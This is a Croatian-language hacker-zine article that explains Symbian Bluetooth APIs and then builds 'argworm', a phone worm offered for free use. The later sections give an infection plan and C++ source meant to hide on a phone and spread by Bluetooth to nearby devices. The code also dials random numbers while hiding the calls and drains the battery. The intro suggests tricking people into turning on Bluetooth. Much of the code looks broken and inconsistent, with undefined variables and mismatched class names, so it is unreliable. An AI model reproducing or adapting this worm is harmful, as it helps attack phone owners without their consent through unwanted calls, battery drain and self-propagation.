Copy Link
Add to Bookmark
Report
2x01 Symbian OS Under the Hood
...................
...::: phearless zine #2 :::...
..................>---[ Symbian OS: Under the Hood ]---<................
...........................>---[ by argv ]---<..........................
argv.cpp[at]gmail[dot]com
Sadrzaj:
[1] Intro
[2] Bluetooth
<2.1> Bluetooth Glossary
<2.2> Bluetooth Stack & API
<2.3> Sockets
[3] Anatomy of Infection
[4] "My name is Worm, argworm"
[5] It ain't Over Until the Phone Screams
[6] Conclusion
////////////////////////////////////////////////////////////////////////////
--==<[ 1. Intro
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Bas neki dan slusam na TV-u kako je dosta korisnika mobitela
dobilo poruku tipa "ako te nazove osoba pod tim imenom, nemoj se javljat jer
ces dobit virus". Najzalosnije je to sto se zbog te poruke digla panika sto
na veoma jasan nacin pokazuje informaticku/tehnolosku obrazovanost nacije.
Sama pomisao na dobivanje virusa putem telefonskog razgovora je apsurdna, a
kamoli uopce razmisljati da li je to istina ili ne. Jos je gora cinjenica da
su ljudi povjerovali da se mobitel moze fizicki ostetiti ako prime taj poziv.
Da bi se narod smirio, bilo je potrebno na TV-u od strane strucnjaka reci da
se virus nemoze dobiti na takav nacin. Eto, mozda ovo vise zvuci kao kolumna
nego tutor, ali jednostavno sam morao to reci jer je ovakva lakovjernost
korisnika pravi raj za sirenje virusa ili crva. Ako je netko povjerovao da
se ne smije javljati na mobitel jer ce dobit virus, zasto ja ne bi mogao
reci 50 ljudi da obavezno ukljuce bluetooth na mobitelima? Kao objasnjenje
cu im ponuditi "cinjenicu" da je bluetooth neprobojni firewall i antivirus
koji ce ih stitit od svih napasti. Tih 50 ljudi ce reci jos nekim lakovjernim
likovima i worm ce se prosiriti brzinom svjetlosti, a nitko nece nista znati
jer im worm nece ostetiti softver na mobitelu, nego ce samo gutati bateriju
i "zivjeti" u pozadini kao proces od par kilobajta.
Ovakvih uzbuna je bilo dosta, ali pravo zahuktavanje se tek ocekuje.
Symbian OS je jos u razvojnoj fazi i tek se ocekuje prava navala virusa i
crva. Iako kad to pocne, zasigurno ce se naci i antivirusni programi za
Symbian isto kako je danas slucaj s PC-om. Trenutno ne postoji nikakva
zastita protiv napasnika i sad je pravo vrijeme za eksperimentiranje s tim
OS-om.
Trenutno je Symbian OS najzastupljeniji na mobitelima i to najvise
na Nokiinim modelima. Mobiteli koji koriste Symbian OS se jos nazivaju i
smartphoneima, tj. pametnim telefonima jer u sebi sadrzi karakteristike koje
prijasnji mobiteli nisu imali. Da nije Symbiana, ne bi bilo ni naprednih
mobitela jer stariji mobiteli su radili na principu "programiraj me njezno,
i zatim me finaliziraj", dok Symbian radi na principu "programiraj me jako,
programiraj me jace, programiraj me najjace, programiraj me ???...". Nema
kraja, a zasto? Zato jer Symbian podrzava Javu, Python i svemoguci C++ sto mu
daje veliku fleksibilnost i neogranicen izvor novih aplikacija (naravno, u
skladu s jacinom mobitela). Symbian je orginalno pisan u C++-u, dok je
podrska za Javu i Python naknadno dodana. Iako je moguce integrirati i druga
razvojna okruzja, ova 3 su sasvim dovoljna za sve potrebe koje programeri
mogu zamisliti.
Ali Symbian ne bi bio nista posebno da ne podrzava umrezavanje:
Bluetooth, Infrared, WAP, GPRS, EDGE i UMTS. Prva 2 koja sam naveo sluze za
lokalno umrezavanje dok su WAP, GPRS, EDGE i UMTS za globalno povezivanje.
Nas naravno najvise zanima lokalno umrezavanje, a posebice Bluetooth koji
radi na relativno velikoj udaljenosti (do 15 metara) i vjerovatno je
najbolji za lokalno sirenje napasnika. Preko Infrareda nema smisla jer je
domet do 1 metar s time da portovi uredjaja moraju gledati jedan prema
drugom sto dosta smanjuje mogucnost prijenosa. Zbog te cinjenice, bluetoothu
sam posvetio veliki dio ovog teksta kako bi ste se sto bolje upoznali s
principom na kojem bluetooth radi.
Kako bi uspjesno izvrsili infektiranje sto veceg broja mobitela, u
trecem dijelu cemo se pozabaviti nacinima kako najefikasnije prosiriti crva,
zatim cemo se pozabaviti samim crvom da bi na kraju zapoceli distribuciju tog
istog crva.
Iako za citanje ovog teksta netrebate biti C/C++ guru, nekakvo osnovno
znanje i razumijevanje jezika je potrebno, osim ako ne zelite samo copy/paste.
////////////////////////////////////////////////////////////////////////////
--==<[ 2. Bluetooth
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Nekad gadget, a danas standard. Bluetooth je tijekom proslih godina
stekao veliku popularost medju svim vrstama korisnika, od onih na PC-u, a
pogotovo onima koji posjeduju mobilne uredjaje jer im omogucava besplatnu
razmjenu svih vrsta fileova, igranje u mrezi, povezivanje na razini tvrtke,
i jos mnogo raznih mreznih primjena zbog dobrog dometa, brzine i pouzdanosti.
Sada cemo se malo osvrnuti na tehnicke karakteristike koje bluetooth
sadrzi. Da bi se lakse snasli u tekstu napisao sam mali bluetooth rijecnik
s opisom pojedinog pojma.
////////////////////////////////////
--==<[ 2.1 Bluetooth Glossary
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
-Data Element: Genericki (promjenjivi) tip podatkovne strukture koja se
koristi za predstavljanje raznih Servisa: Atribute, Definicije
Atributa, Uzorak za otkrivanje drugih bluetooth uredjaja i
jos puno raznih servisa za otkrivanje bluetooth prisutnosti.
-Data Element Alternative: Data Element koji se koristi kao alternativa
postojecem Elementu.
-Data Element Sequence: Data Element koji cini nestalan niz postojecih
Elemenata.
-Device Discovery: Proces trazenja 48 bitnih adresa i imena svih
bluetooth uredjaja koji su u dometu.
-L2CAP: Logicni protokolni link za kontrolu i upravljanje.
-Link Manager Protocol: Protokol koji se koristi za podesavanje i kontrolu
postojeceg linka. Signali se prevode, zatim
filtriraju na klijentovoj strani da ne bi ponovo
prelazili u visi layer prijenosa. (visi layer
prijenosa je layer preko kojeg se vrsi sva razmjena
podataka).
-Logical LCPP: Protokol koji salje servise u visi layer. Sadrzi
mogucnosti multipleksiranja, segmentacije, grupne
abstraktne klase i operaciju reasembliranja.
-Object Exchange Protocol: Protokol za definiranje podataka koji ce se
razmjenjivati izmedju uredjaja. Podrzava i
Infrared standard.
-Profile: Selekcija protokola i procedure koje se
implementiraju ovisno o servisu za koji su
predodredjeni.
-Protocol Data Unit: Protokol za definiranje paketa koji se salje.
-Protocol Descriptor: UUID koji specifira odredjeni protokol i sve radnje,
tj, parametre koje odredjeni protokol sadrzi.
-Protocol Descriptor List: Servisni Atribut koji sadrzi pred-organiziranu
listu Protocol Descriptora i specifikacije koje
protokolni stack mora imati da bi dobio pristup
odredjenom servisu.
-Service Multiplexor: 16bit+ vrijednost koja identificira odredjeni
protokol nekog servisa za LCCP.
-RFCOMM: Protokol koji emulira 9 signala RS-232 serijskog
porta.
-Service Attribute: Atribut koji sadrzi sve parametre potrebne za pristup
odredjenom servisu. Svaki sadrzi 16bitni identfier.
-Service Class: Koristi se za katalogiranje servise da se osigura
pouzdanost prijenosa podataka.
-Service Class ID List: Atribut koji sadrzi organiziranu listu UUID-a, a
svaki identifira Servisnu klasu.
-Service Discovery Protocol: Protokol koji omogucuje aplikacijama da otkriju
prisutnost drugih bluetooth uredjaja i identificira
karakteristike i parametre tih uredjaja.
Service ID: Atribut koji sadrzi jedinstveni UUID za identifikaciju
odredjenog servisa.
Service Name: Atribut koji definira ime odredjenog servisa.
Service Record: Baza koja sadrzi podatke o drugim bluetooth uredjajima.
Service Record Handle: 32bitni broj koji identificira servis unutar servisne
baze.
Service Search Pattern: Uzorak za trazenje odredjenog servisa unutar bluetooth
uredjaja. Predstavlja listu od 1 - 12 UUID-a.
Universal Unique Identifier: Sluzi za identifikaciju servisnih klasa. To je
128bitni broj, ali moze biti 16 ili 32 bitni po
potrebi, a zatim se konvertira u 128bitni:
UUID128 = UUID16 << 96 + BluetoothBaseUUID
(BluetoothBaseUUID = 0x0000 0000 0000 1000 8000 0080 5F9B 34FB)
////////////////////////////////////
--==<[ 2.2 Bluetooth Stack & API
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
BT Host|---------|------------|
(SW) | SDP | RFFCOM | -> Emulacija serijskog porta
|---------|------------|
| L2CAP Protokol | -> Segmentiranje i reasembliranje
|----------------------|
| HCI Driver | -> Upravljanje
|----------------------|
|
| Visi layer (slanje)
|
BT Host|----------------------|
ctrl. | HCI Firmware | -> Firmware bluetooth uredjaja
(HW) |----------------------|
| LMP | -> Link Manager Protokol
|----------------------|
| LC | -> Baseband Link Controller
|----------------------|
| Bluetooth Radio | -> "odasiljac"
|----------------------|
Bluetooth Host Controller predstavlja nizi dio stacka. Nizi dio stacka
obicno predstavlja hardware koji se ne moze pozivati direktno iz bluetooth
aplikacije, nego je potrebno indirektno preko viseg stacka pristupati hardwareu.
- RFFCOM protokol omogucava komunikaciju izmedju aplikacije i bluetooth
uredjaja na slican nacin kao da komuniciraju preko serijskog
porta. RFFCOM se koristi kako bi i bluetooth podrzavao neke
od standardnih protokola.
- L2CAP protokol omogucava bolju kontrolu linka. Koristi se ako na linku
postoji vise korisnika za njihovo multipleksiranje,
segmentiranje i reasembliranje.
- SDP protokol se koristi u trenutku spajanja na drugi uredjaj kako bi se
prikupile informacije o svim servisima koji su omoguceni
na drugom uredjaju.
- HCI interface se koristi za pristupanje bluetooth driverima kako bi se
dobila sto bolje kontrola bluetooth hardwarea.
Kako bi uspjesno pristupili svim protokolima potreban je API za kontrolu
i upravljanje:
- Bluetooth Sockets vrsi enkapsulaciju pristupa L2CAP-u i RFFCOM-u kroz TCP/IP
interface.
- Bluetooth Service Discovery Database enkapsulira jednu stranu SDP-a: lokalni
servis koji sadrzi sve atribute za otkrivanje drugih uredjaja.
- Bluetooth Service Discovery Agent enkapsulira drugu stranu SDP-a: omugucava
otkrivanje servisa na drugim uredjajima i njihovih atributa.
- Bluetooth Security Manager sadrzi sigurnosne servise koje svaki uredjaj koji
se spaja mora zadovoljiti.
- Bluetooth UI je API koji se koristi za prikazivanje informacija o drugom
bluetooth uredjaju.
Slijedeci dijagram pokazuje kako API-ji medjusobno komuniciraju:
|-------------------|<-----|------------------|
| Bluetooth Sockets |<--| | Security Manager |
|-------------------|<- | |------------------|
| | |
| \ \ |-------------------------|
| | \| Service Discovery Agent |
|-------------------| | |-------------------------|
| Sockets Client | | |
|-------------------| | |
| | |
| | |----------------------------|
| \| Service Discovery Database |
|-------------------| |----------------------------|
| Sockets Server |
|-------------------|
|
|
|
|-------------------|
| Sockets Module |
|-------------------|
|
|
|
|-------------------|
| HCI |
|-------------------|
////////////////////////////////////
--==<[ 2.3 Sockets
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Socketi kod bluetootha sluze za otkrivanje drugih bluetooth uredjaja i
citanje i pisanje podataka. Postoje dvije uloge za tu funkciju, jedna je
posiljatelj, a druga primalac. Kada se uspostavi veza, obije uloge se nadju
na istom layeru i tada pocinje dvosmjerna konekcija - oba uredjaja mogu slati,
primati ili prekinuti vezu nezavisno o tome tko je bio inicijator veze.
API ima 5 glavnih funkcija koje se uvijek moraju iskoristiti kako bi
se uspostavila veza. To su:
- Socket Address
- Remote Device Inquiry
- RFCOMM Commands & Options
- L2CAP Commands & Options
- HCI Commands & Options
Socket Address ima jedinstvenu 48bitnu adresu koja se enkapsulira sa
TBTDevAddr. Sockets API enkapsulira genericku komunikaciju kroz TSockAddr, a
za bluetooth se koristi TBTSockAddr.
Remote Device Inquiry sluzi za isprobavanje drugih uredjaja kroz klasu
RHostResolver, a enkapsulira sve parametre kroz TInquirySockAddr koji se dijeli
za svako isprobavanje.
Komande koje se mogu slati na L2CAP i RFCOMM idu preko RSocket::Ioctl(),
dok kontrola opcija ide kroz RSocket::GetOpt() i RSocket::SetOpt()
Kako sam vec rekao, svaki bluetooth uredjaj ima jedinstvenu 48bitnu
adresu ugradjenu u hardware, a svako isprobavanje (inquiry) vraca nulu ili
adresu drugog uredjaja. Nakon uspjesnog isprobavanja Socket ce vratiti adresu
drugog uredjaja, ali i njegovo ime sto je veoma bitno za kasnija poglavlja
o wormu! Inquiry adrese i imena se dogadja simultano, a u slucaju da se ne
dogode, slijedi prekid veze i ponovni inquiry. Dosta mobitela ima razliciti
bluetooth hardver pa nisu medjusobno kompatibilni, potrebno je malo tweakanje
da bi uspostavili kvalitetnu vezu izmedju tih uredjaja. Iz mog iskustva nokie
rade probleme u inquiriju s motorolinim uredjajima.
Inquiry adresa i imena se obavlja kroz genericku EPOC klasu RHostResolver,
zatim klasu TInquirySockAddr koja enkapsulira adresu, Inquiry pristupni kod,
imena servisa i klasa.
Kako bi bili sigurni da je pronadjena adresa i ime pravi, koristit cemo se
funkcijom koja ce nam to pokazati: TInquirySockAddr::MajorClassOfDevice().
Spajanje se vrsi preko Connect() funkcije koja je sastavni dio EPOC klase,
unutar RSocket interfacea. Socketi u bluetoothu se otvaraju preko L2CAP ili
RFCOMM protokola. Za L2CAP, port je Protokol/Servis Multipleksor (PSM) koji
sluzi kao bluetooth port.
////////////////////////////////////////////////////////////////////////////
--==<[ 3. Anatomy of Infection
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Kako bi uspjesno izvrsili infektiranje drugog uredjaja, bit ce nam
potrebno sve sto sam naveo u poglavlju Bluetooth, pa ako ste sto zaboravili,
sad je pravo vrijeme da se podsjetite :).
Proces infektiranja ce ici slijedecim tokom:
- Pronalazenje drugog uredjaja
- Otkrivanje njegove adrese i imena
- Inquiry za servise i klase koje su omogucene na remote uredjaju
- Spajanje na remote uredjaj
- Transfer i skrivanje worma
- Infektiranje postojeceg procesa
- Auto-Startup setup
- Auto-Spread setup
////////////////////////////////////////////////////////////////////////////
--==<[ 4. "My name is Worm, argworm"
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Kroz ovo poglavlje cemo napraviti shemu worma, a na kraju teksta mozete
pronaci cijeli source. Source je by me i jos je relativno nedoradjen, ali radi.
Source mozete slobodno koristiti i modificirati kako god zelite. Za compile
koristite Borlandov c++ 5 (moze i 6, ali uz malu modifikaciju). Naravno, za
compile vam treba Series 60 Bluetooth SDK kojeg mozete skinuti s neta.
Problemi na koje sam naisao su kompatibilnost s drugim uredjajima,
auto-spread na druge uredjaje i slicno. Worm odlicno radi sa nokiinim modelima
i u slucaju infekcije ocekujte veoma brzo praznjenje baterije i random pozivanje
na random broj u imeniku :)
Da bi pronasli drugi bluetooth uredjaj i zapravo omogucili transfer,
potrebno je odrediti njegovu adresu i ime. Izgled funkcije bi trebao biti
slijedeci:
- Spajanje na Socket Server (RSocketServ), zatim odabir protokola koji cemo
koristit (RSocketServ::FindProtocol(). Adresu i ime cemo dobiti kada primimo
sadrzaj stacka sa BTLinkManager protokola.
- Kreiranje i inicijalizacija RHostResolver klase
- Priprema TInquirySockAddr parametra za inquiry. Koristit cemo KHostResInquiry
kao funkciju koju cemo pozvati kroz TInquirySockAddr::SetAction(). Query cemo
pokrenuti sa RHostResolver::GetByAddress().
- Kada GetByAddress() zavrsi, TNameEntry ce dobiti ime i adresu prvog uredjaja
koji je pronadjen ili nulu ako niti jedan uredjaj nije pronadjen.
- Najvaznije za naseg worma jest da uporno trazi nove uredjaje bez prestanka,
a za to cemo koristiti RHostResolver::Next().
// spajanje na socket server
RSocketServ socketServ;
socketServ.Connect();
TProtocolDesc pInfo;
_LIT(KL2Cap, "BTLinkManager");
User::LeaveIfError(socketServ.FindProtocol(KL2Cap,pInfo));
// kreiranje i inicijalizacija RHostResolvera sa konstantnim trazenjem
RHostResolver::Next hr;
User::LeaveIfError(hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol));
// priprema inquirya
TInquirySockAddr addr;
TNameEntry name;
addr.SetIAC(KGIAC);
addr.SetAction(KHostResInquiry);
TRequestStatus status;
hr.GetByAddress(addr, entry, status);
User::WaitForRequest(status);
// dobivanje imena
addr.SetAction(KHostResName);
hr.GetByAddress(addr, entry, stat);
User::WaitForRequest(stat);
TPtrC deviceName;
if (stat == KErrNone)
deviceName.Set(entry().iName);
// Spajanje na L2CAP socket
RSocket socket;
TRequestStatus status;
User::LeaveIfError(socket.Open(socketServ,KBTAddrFamily,KSockSeqPacket,KL2CAP));
User::LeaveIfError(socket.Connect(addr,status));
User::WaitForRequest(status);
if (status == KErrNone)
{
_LIT8(KDataToWrite,"argworm.app");
socket.Write(KDataToWrite,status);
User::WaitForRequest(status);
}
// zatvaranje socketa
socket.Close();
// Infekcija Sysamob procesa
// (defaultno je ukljucen na svakom mobitelu i ima auto-exec)
Infection* Infection::NewLC(CEikApplication& argworm.app)
{
Infection* self = new (ELeave) Infection(argworm.app);
CleanupStack::PushL(attrs3, sysamob);
self->ConstructL();
return self;
}
Za worma cemo koristiti 2 filea: argworm.cpp i argworm.bid.
argworm.cpp je orginalni source samog worma, dok je argworm.bid sustav za
otkrivanje uredjaja, infekciju i ostale funkcije koje cemo koristiti kao
bluetooth ekstenzije. argworm.cpp je komentiran, dok argworm.bid je jos
u beta razvoju (problemi s konekcijom na druge modele) pa cu izkomentiranu
verziju staviti na bh forum.
// ============
// argworm.bid
// ============
#include <bt_client.h>
#include <bt_server.h>
#include <bt_sock.h>
#include "BTSockManager.h"
#include "BTNameResolver.h"
#include "BTUUIDResolver.h"
#include "BTDiscoverer.h"
#include "BTAttributeValueLister.h"
#include "BTDiscovery.pan"
RSocketServ socketServ;
socketServ.Connect();
TProtocolDesc pInfo;
_LIT(KL2Cap, "BTLinkManager");
User::LeaveIfError(socketServ.FindProtocol(KL2Cap,pInfo));
RHostResolver::Next hr;
User::LeaveIfError(hr.Open(socketServ,pInfo.iAddrFamily,pInfo.iProtocol));
TInquirySockAddr addr;
TNameEntry name;
addr.SetIAC(KGIAC);
addr.SetAction(KHostResInquiry);
TRequestStatus status;
hr.GetByAddress(addr, entry, status);
User::WaitForRequest(status);
addr.SetAction(KHostResName);
hr.GetByAddress(addr, entry, stat);
User::WaitForRequest(stat);
TPtrC deviceName;
if (stat == KErrNone)
deviceName.Set(entry().iName);
RSocket socket;
TRequestStatus status;
User::LeaveIfError(socket.Open(socketServ,KBTAddrFamily,KSockSeqPacket,KL2CAP));
User::LeaveIfError(socket.Connect(addr,status));
User::WaitForRequest(status);
if (status == KErrNone)
{
_LIT8(KDataToWrite,"argworm.app");
socket.Write(KDataToWrite,status);
User::WaitForRequest(status);
}
socket.Close();
argworm* argworm::NewLC(CEikApplication& argworm.app)
{
Infection* self = new (ELeave) Infection(argworm.app);
CleanupStack::PushL(argworm.sis, sysamob);
self->ConstructL();
return self;
}
argworm* argworm::NewL(MReporter& aReporter)
{
argworm* self = argworm::NewLC(aReporter);
CleanupStack::Pop(self);
return self;
}
argworm* argworm::NewLC(MReporter& aReporter)
{
argworm* self = new (ELeave) argworm(aReporter);
self->ConstructL();
CleanupStack::PushL(self);
return self;
}
void argworm::ConstructL()
{
iSdpSearchPattern = CSdpSearchPattern::NewL();
iSdpSearchPattern->AddL(KL2CAP);
iMatchList = CSdpAttrIdMatchList::NewL();
iMatchList->AddL(TAttrRange(0x0000, 0xFFFF)); // trazenje uredjaja na svim adresama ("frekvencijama")
iAgent = NULL;
}
argworm::argworm(MReporter& aReporter)
: iReporter(aReporter),
iHasPrintedRecordNumber(EFalse),
iHasPrintedHandle(EFalse)
{
}
argworm::~argworm()
{
delete iAgent;
iAgent = NULL;
delete iMatchList;
iMatchList = NULL;
delete iSdpSearchPattern;
iSdpSearchPattern = NULL;
}
TBool argworm::SelectDeviceL(TBTDeviceResponseParamsPckg& aResponse)
{
iHasPrintedRecordNumber = EFalse;
TBool success = EFalse;
RNotifier not;
User::LeaveIfError(not.Connect());
TBTDeviceSelectionParamsPckg selectionFilter;
TRequestStatus status;
not.StartNotifierAndGetResponse(
status,
KDeviceSelectionNotifierUid,
selectionFilter,
aResponse
);
User::WaitForRequest(status);
if (status.Int() == KErrNone)
{
if (aResponse().IsValidDeviceName())
{
success = ETrue;
}
else
{
iReporter.Error(_L("nema bluetootha u dometu..."));
}
}
else
{
iReporter.Error(_L("auto konektor!"));
}
not.CancelNotifier(KDeviceSelectionNotifierUid);
not.Close();
return success;
}
void argworm::ListServicesL(const TBTDevAddr& aAddress)
{
delete iAgent;
iAgent = NULL;
iAgent = CSdpAgent::NewL(*this, aAddress);
iAgent->SetRecordFilterL(*iSdpSearchPattern);
iAgent->NextRecordRequestL();
}
void argworm::NextRecordRequestComplete(TInt aError, TSdpServRecordHandle aHandle, TInt aTotalRecordsCount)
{
if (aError == KErrEof)
{
iReporter.PrintLine(_L("Slijedeci"));
}
else if (aError != KErrNone)
{
PrintSDPError(aError);
iReporter.PrintLine(_L("Kraj"));
}
else if (aTotalRecordsCount)
{
if (! iHasPrintedRecordNumber)
{
TBuf<64> buffer;
buffer.Format(_L("%d uredjaja pronadjeno"), aTotalRecordsCount);
iReporter.PrintLine(buffer);
iHasPrintedRecordNumber = ETrue;
}
iReporter.PrintLine(_L("Trazenje"));
TRAPD(err, iAgent->AttributeRequestL(aHandle, *iMatchList));
if (err != KErrNone)
{
Panic(EBTDiscoveryAttributeRequest);
}
}
else
{
iReporter.PrintLine(KNullDesC);
iReporter.PrintLine(_L("Kraj"));
}
}
void argworm::AttributeRequestResult(
TSdpServRecordHandle aHandle,
TSdpAttributeID aAttrID,
CSdpAttrValue* aAttrValue
)
{
if (! iHasPrintedHandle)
{
TBuf<40> handle;
handle.Append(_L("Adresa: 0x"));
handle.AppendNumUC(static_cast<TUint>(aHandle), EHex);
iHasPrintedHandle = ETrue;
iReporter.PrintLine(handle);
}
// Identifikacija
TBuf<40> attrIDBuffer;
attrIDBuffer.Append(_L("ID Atributa: 0x"));
attrIDBuffer.AppendNumUC(static_cast<TUint>(aAttrID), EHex);
iReporter.PrintLine(attrIDBuffer);
// Vrijednosti atributa
TBTAttributeValueLister lister(iReporter);
TRAPD(err,aAttrValue->AcceptVisitorL(lister));
if (err != KErrNone)
{
Panic(EBTDiscoveryAttributeAcceptVisitor);
}
delete aAttrValue;
}
void argworm::AttributeRequestComplete(TSdpServRecordHandle, TInt aError)
{
if (aError == KErrEof)
{
iReporter.PrintLine(_L("Kraj"));
}
else if (aError != KErrNone)
{
PrintSDPError(aError);
iReporter.PrintLine(_L("Kraj"));
}
else
{
iHasPrintedHandle = EFalse;
TRAPD(err, iAgent->NextRecordRequestL());
if (err != KErrNone)
{
Panic(EBTDiscoveryNextRecordRequest);
}
}
}
}
// ============
// argworm.cpp
// ============
#include <events.h>
#include <etelbgsm.h>
#include <etelbgprs.h>
#include <d32comm.h>
// =============================================
// random pozivanje brojeva u random intervalu
// =============================================
_LIT (KTsyName,"argworm.tsy");
_LIT (KPhoneNumber, TRandom);
// random komanda
void argworm::HandleCommandL(TInt aCommand)
{
switch(aCommand)
{
case EAknSoftkeyExit:
Exit();
break;
case EDialerDial:
{
TRAPD(err, DialNumberL(KPhoneNumber); );
if (err)
{
User::InfoPrint(_L("Greska"));
}
}
break;
default:
User::Panic (_L("Dialer"), EDialerBasicUi);
break;
}
}
void argworm::DialNumberL(const TDesC& aPhoneNumber)
{
// priprema poziva
RTelServer server;
CleanupClosePushL(server);
User::LeaveIfError(server.Connect());
// loadanje drivera
User::LeaveIfError(server.LoadPhoneModule(KTsyName));
// pronadji random broj
TInt numberPhones;
User::LeaveIfError(server.EnumeratePhones(numberPhones));
// pregledavanje imenika
if (numberPhones < 1)
{
User::Leave(KErrNotFound);
}
// procitaj broj random nadjenog broja
RTelServer::TPhoneInfo info;
User::LeaveIfError(server.GetPhoneInfo(0, info));
// iskoristavanje broja
RPhone phone;
CleanupClosePushL(phone);
User::LeaveIfError(phone.Open(server, info.iName));
// info o broju 2
RPhone::TLineInfo lineInfo;
User::LeaveIfError(phone.GetLineInfo(0, lineInfo));
// otvaranje poziva
RLine line;
CleanupClosePushL(line);
User::LeaveIfError(line.Open(phone, lineInfo.iName));
// otvaranje novog poziva (vraca se na random)
TBuf <100> newCallName;
RCall call;
CleanupClosePushL(call);
User::LeaveIfError(call.OpenNewCall(line, newCallName));
// brisi poziv iz loga
User::LeaveIfError(call.Dial(aPhoneNumber));
// simuliraj prekid veze (poziv ce jos trajati, ali se nece vidjeti na zaslonu mobitela)
CleanupStack::PopAndDestroy(3);
// ciscenje drivera i priprema za novi poziv
User::LeaveIfError(server.UnloadPhoneModule(KTsyName));
}
// =======================================================================
// battery killer
//
// kao proces uporno, ali bezuspjesno pokusava loadati memory managment :)
// inace, kada se memory managment podize zauzima oko 80% memorije telefona
// sto dosta ubrazno trosi bateriju :)
// =======================================================================
LOCAL_D CConsoleBase* console;
// pointer na pokusaj pokretanja
LOCAL_D TBool leaveFlag = ETrue;
// pointer na bezuspjesan pokusaj pokretanja (return)
LOCAL_C void PokreniL();
LOCAL_C void PokreniPonovoL();
class CMemManagmentExploit : public CBase
{
public :
void PokreniL();
public :
TInt iInt;
};
void CMemManagmentExploit::PokreniL()
{
if (leaveFlag)
{
console->Printf(); // skrivamo message, tako da se ne vidi pokusaj
User::Leave();
}
console->Printf();
}
GLDEF_C TInt E32Main()
{
// stack
CTrapCleanup* cleanup=CTrapCleanup::New();
// inicijalizacija
TRAPD(error,callPokreniL());
// callPokreniL ce se uvijek pokretati
_LIT(KMsgPanicEpoc32ex,"");
__ASSERT_ALWAYS(!error,User::Panic(KMsgPanicEpoc32ex,error));
// stack cleanup
delete cleanup;
return 0;
}
LOCAL_C void callPokreniL()
{
// inicijaliziraj i pozovi
_LIT(KMsgPokreniCode,"my name is worm, argworm");
console = Console::NewL(KMsgPokreniCode,TSize(KConsFullScreen,KConsFullScreen));
// konzola ide u stack...
CleanupStack::PushL(console);
// start...
TRAPD(error,PokreniL());
_LIT(KMsgOK,"");
_LIT(KFormat2,"%d");
if (error)
console->Printf(KFormat2,error);
else
console->Printf(KMsgOK);
console->Printf(KMsgPressAnyKey);
console->Getch();
// stack cleanup
CleanupStack::PopAndDestroy();
}
void PokreniL()
{
__UHEAP_SETFAIL(RHeap::EDeterministic,allocFailNumber);
argworm* argworm = new (ELeave) CExample;
argworm->iInt = 5;
CleanupStack::PushL(argworm);
argworm->PokreniPonovoL();
CleanupStack::Pop();
delete argworm;
}
////////////////////////////////////////////////////////////////////////////
--==<[ 6. It ain't Over Until the Phone Screams
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Nakon compilea dobit cete argworm.sis i argworm.bid. Sve sto je sada
potrebno jest poslati ta dva filea nekome preko bluetootha i worm ce se
aktivirati cim bluetooth protokoli pokusaju procitati vasu adresu. Kada se
oba fajla posalju, argworm.bid ce svaki put za vrijeme prijenosa povlaciti
argv.sis za sobom i instalirati ga po dospijecu.
Kada se worm jednom aktivira, nemoze ga se vise deaktivirati (osim rucnim
ubijanjem procesa i brisanjem fajlova). Nakon prvog slanja worm ce se pokusati
poslati na sve bluetooth uredjaje koje moze pronaci.
////////////////////////////////////////////////////////////////////////////
--==<[ 7. Conclusion
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Iako je ovaj worm jos uvijek mala beba jer je relativno glup :), moze
se siriti samo na nokijine modele i vjerujem da ce nakon nekog vremena sam
od sebe prestati raditi kad prodje kroz vise razlicitih bluetooth adresa :),
ali to nisam uspio provjeriti. Ja cu nastaviti raditi na ovom podrucju, pa
cu na bh forum postati najnovije nalaze. Opet kazem, ovo je tek pocetak, ali
uvidio sam da su mogucnosti ogromne i sve mi se cini da ovo nije kraj :).
